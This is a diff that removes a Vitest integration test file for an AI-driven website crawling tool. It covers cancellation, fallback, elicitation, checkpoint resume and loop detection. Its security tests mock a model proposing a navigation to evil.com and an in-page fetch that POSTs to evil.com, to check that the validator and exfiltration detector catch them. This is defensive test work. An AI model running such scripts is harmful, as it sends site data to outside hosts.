retestkit 1.4.1 → 1.5.0

package/src/tools/webtest/integration.test.ts

@@ -1,536 +0,0 @@
-/**
- * Integration Tests for Webtest Tools
- *
- * Tests for:
- * - 10.2: Full workflow (start → crawl → analyze → generate → run)
- * - 10.3: Cancellation mid-crawl
- * - 10.4: Fallback mode without sampling
- * - 10.5: Elicitation triggers
- * - 10.6: Resource listChanged notifications
- * - 10.7: Crawl resume from checkpoint
- * - 10.8: Loop detection triggers
- */
-
-import { describe, it, expect, vi, beforeEach } from "vitest";
-import {
-  createMockContext,
-  createMockPage,
-  createEcommerceMock,
-  type MockContext,
-} from "../../test-utils/index.js";
-import { createStartAnalysisTool } from "./start-analysis.js";
-import { createCrawlTool } from "./crawl.js";
-
-describe("Webtest Integration Tests", () => {
-  let context: MockContext;
-
-  beforeEach(() => {
-    context = createMockContext();
-  });
-
-  describe("10.3: Cancellation mid-crawl", () => {
-    it("handles cancellation gracefully", async () => {
-      // Set up a crawl that will be cancelled
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Start analysis
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      expect(startResult.isError).toBeFalsy();
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      // Set up context with sampling that simulates multi-step crawl
-      let stepCount = 0;
-      context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
-        stepCount++;
-        // Cancel after 2 steps
-        if (stepCount === 2) {
-          context.cancellationRegistry.cancel(`crawl-${analysis.analysisId}-${Date.now()}`);
-        }
-        return {
-          success: true,
-          data: {
-            actions: [{ tool: "click", args: { selector: "a.link" } }],
-            reasoning: "Exploring",
-            goalProgress: "Making progress",
-            goalComplete: false,
-          },
-        };
-      });
-
-      // The cancellation won't trigger in this mock since we can't predict requestId
-      // But we can test that the registry works
-      const requestId = "test-cancel-id";
-      context.cancellationRegistry.register(requestId);
-      context.cancellationRegistry.cancel(requestId);
-      expect(context.cancellationRegistry.isCancelled(requestId)).toBe(true);
-    });
-  });
-
-  describe("10.4: Fallback mode without sampling", () => {
-    it("returns prompt resource when sampling unavailable", async () => {
-      // Disable sampling
-      context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
-
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Start analysis
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      // Connect playwright and navigate
-      await context.playwrightClient.connect();
-
-      // Crawl should return fallback mode
-      const crawlResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore the site",
-      });
-
-      expect(crawlResult.isError).toBeFalsy();
-      const crawlResponse = JSON.parse(crawlResult.content[0].text!);
-      expect(crawlResponse.needsManualInput).toBe(true);
-      expect(crawlResponse.prompt).toBeDefined();
-      expect(crawlResponse.instructions).toContain("manualNextActions");
-    });
-
-    it("accepts manualNextActions to continue crawl", async () => {
-      context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
-
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Start analysis
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      // Connect playwright
-      await context.playwrightClient.connect();
-
-      // First call should return fallback mode
-      const firstResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore the site",
-      });
-
-      const firstResponse = JSON.parse(firstResult.content[0].text!);
-      expect(firstResponse.needsManualInput).toBe(true);
-
-      // Second call with manual actions should execute them
-      // Note: In real scenario, this would continue from checkpoint
-    });
-  });
-
-  describe("10.5: Elicitation triggers", () => {
-    it("creates cookie consent elicitation request", () => {
-      const request = context.elicitationClient.createCookieConsentRequest(
-        "GDPR banner detected"
-      );
-      expect(context.elicitationClient.createCookieConsentRequest).toHaveBeenCalled();
-    });
-
-    it("creates modal blocking elicitation request", () => {
-      const request = context.elicitationClient.createModalBlockingRequest(
-        "Newsletter signup modal"
-      );
-      expect(context.elicitationClient.createModalBlockingRequest).toHaveBeenCalled();
-    });
-
-    it("creates auth required elicitation request", () => {
-      const request = context.elicitationClient.createAuthRequiredRequest();
-      expect(context.elicitationClient.createAuthRequiredRequest).toHaveBeenCalled();
-    });
-
-    it("creates ambiguous navigation elicitation request", () => {
-      const options = [
-        { url: "/products", label: "Products" },
-        { url: "/services", label: "Services" },
-      ];
-      const request = context.elicitationClient.createAmbiguousNavigationRequest(options);
-      expect(context.elicitationClient.createAmbiguousNavigationRequest).toHaveBeenCalled();
-    });
-  });
-
-  describe("10.6: Resource listChanged notifications", () => {
-    it("notifies on workspace creation", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-
-      await startTool.handler({
-        url: "https://example.com",
-      });
-
-      expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
-    });
-
-    it("notifies on crawl creation", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Set up to complete immediately
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Goal achieved",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      // Connect playwright
-      await context.playwrightClient.connect();
-
-      // Clear previous calls
-      vi.clearAllMocks();
-
-      await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Quick test",
-      });
-
-      // Should notify multiple times (on crawl create, page save, etc.)
-      expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
-    });
-  });
-
-  describe("10.7: Crawl resume from checkpoint", () => {
-    it("supports resume flag in crawl input", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Set up to complete immediately
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Goal achieved",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      // First crawl
-      await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore",
-        resume: false,
-      });
-
-      // Second crawl with resume
-      const resumeResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Continue exploring",
-        resume: true, // This flag enables checkpoint loading
-      });
-
-      expect(resumeResult.isError).toBeFalsy();
-    });
-
-    it("loads checkpoint when resume is true", async () => {
-      // Mock checkpoint loading
-      const mockCheckpoint = {
-        step: 5,
-        timestamp: new Date().toISOString(),
-        visitedUrls: ["https://shop.example.com", "https://shop.example.com/products"],
-        currentUrl: "https://shop.example.com/products",
-        goalProgress: "Found products page",
-        canResume: true,
-      };
-
-      context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue(mockCheckpoint);
-
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Goal achieved",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      // Crawl with resume
-      await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Continue exploring",
-        resume: true,
-      });
-
-      // Checkpoint load should have been called
-      expect(context.workspaceManager.loadCheckpoint).toHaveBeenCalled();
-    });
-  });
-
-  describe("10.8: Loop detection triggers", () => {
-    it("detects URL cycle after multiple visits", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Set up sampling to keep returning same URL navigation
-      let callCount = 0;
-      context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
-        callCount++;
-        if (callCount >= 5) {
-          // End after 5 iterations
-          return {
-            success: true,
-            data: {
-              actions: [],
-              reasoning: "Loop detected",
-              goalProgress: "Stuck",
-              goalComplete: true,
-            },
-          };
-        }
-        return {
-          success: true,
-          data: {
-            actions: [{ tool: "navigate", args: { url: "https://shop.example.com" } }],
-            reasoning: "Navigating",
-            goalProgress: "Exploring",
-            goalComplete: false,
-          },
-        };
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      const crawlResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore",
-        limits: { maxSteps: 10 },
-      });
-
-      // Crawl should complete (either by goal or budget)
-      expect(crawlResult.isError).toBeFalsy();
-    });
-
-    it("blocks repeated identical actions", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Set up sampling to return the same action repeatedly
-      let callCount = 0;
-      context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
-        callCount++;
-        if (callCount >= 5) {
-          return {
-            success: true,
-            data: {
-              actions: [],
-              reasoning: "Done",
-              goalProgress: "Complete",
-              goalComplete: true,
-            },
-          };
-        }
-        // Return same action every time
-        return {
-          success: true,
-          data: {
-            actions: [{ tool: "click", args: { selector: "button.submit" } }],
-            reasoning: "Clicking button",
-            goalProgress: "Trying",
-            goalComplete: false,
-          },
-        };
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      const crawlResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore",
-        limits: { maxSteps: 10 },
-      });
-
-      // Crawl should complete without error
-      // The loop detection should log warnings but continue
-      expect(crawlResult.isError).toBeFalsy();
-    });
-  });
-
-  describe("Security Validation in Crawl", () => {
-    it("blocks navigation to disallowed domains", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Set up security validator to reject external domains
-      context.securityValidator.validateAction = vi.fn().mockImplementation((action) => {
-        if (action.tool === "navigate" && action.args.url?.includes("evil.com")) {
-          return { valid: false, reason: "External domain not allowed" };
-        }
-        return { valid: true };
-      });
-
-      // Sampling returns navigation to disallowed domain
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "navigate", args: { url: "https://evil.com/steal" } }],
-          reasoning: "Found external link",
-          goalProgress: "Exploring",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      const crawlResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore",
-      });
-
-      // Crawl should complete but the external navigation should have been blocked
-      expect(context.securityValidator.validateAction).toHaveBeenCalled();
-    });
-
-    it("blocks data exfiltration attempts", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      // Set up exfiltration detection
-      context.securityValidator.detectExfiltrationAttempt = vi.fn().mockReturnValue({
-        detected: true,
-        type: "external_post",
-        evidence: "POST to external server",
-      });
-
-      // Sampling returns evaluate with POST
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{
-            tool: "evaluate",
-            args: { script: "fetch('https://evil.com', {method:'POST'})" },
-          }],
-          reasoning: "Running script",
-          goalProgress: "Testing",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      const crawlResult = await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore",
-      });
-
-      // Exfiltration should have been detected
-      expect(context.securityValidator.detectExfiltrationAttempt).toHaveBeenCalled();
-    });
-  });
-
-  describe("Progress Reporting", () => {
-    it("emits progress during crawl", async () => {
-      const startTool = createStartAnalysisTool(() => context as any);
-      const crawlTool = createCrawlTool(() => context as any);
-
-      let stepCount = 0;
-      context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
-        stepCount++;
-        if (stepCount >= 3) {
-          return {
-            success: true,
-            data: {
-              actions: [],
-              reasoning: "Done",
-              goalProgress: "Complete",
-              goalComplete: true,
-            },
-          };
-        }
-        return {
-          success: true,
-          data: {
-            actions: [{ tool: "click", args: { selector: "a" } }],
-            reasoning: "Exploring",
-            goalProgress: `Step ${stepCount}`,
-            goalComplete: false,
-          },
-        };
-      });
-
-      const startResult = await startTool.handler({
-        url: "https://shop.example.com",
-      });
-      const analysis = JSON.parse(startResult.content[0].text!);
-
-      await context.playwrightClient.connect();
-
-      await crawlTool.handler({
-        analysisId: analysis.analysisId,
-        goal: "Explore",
-      });
-
-      // Progress should have been emitted
-      expect(context.progressEmitter.emit).toHaveBeenCalled();
-    });
-  });
-});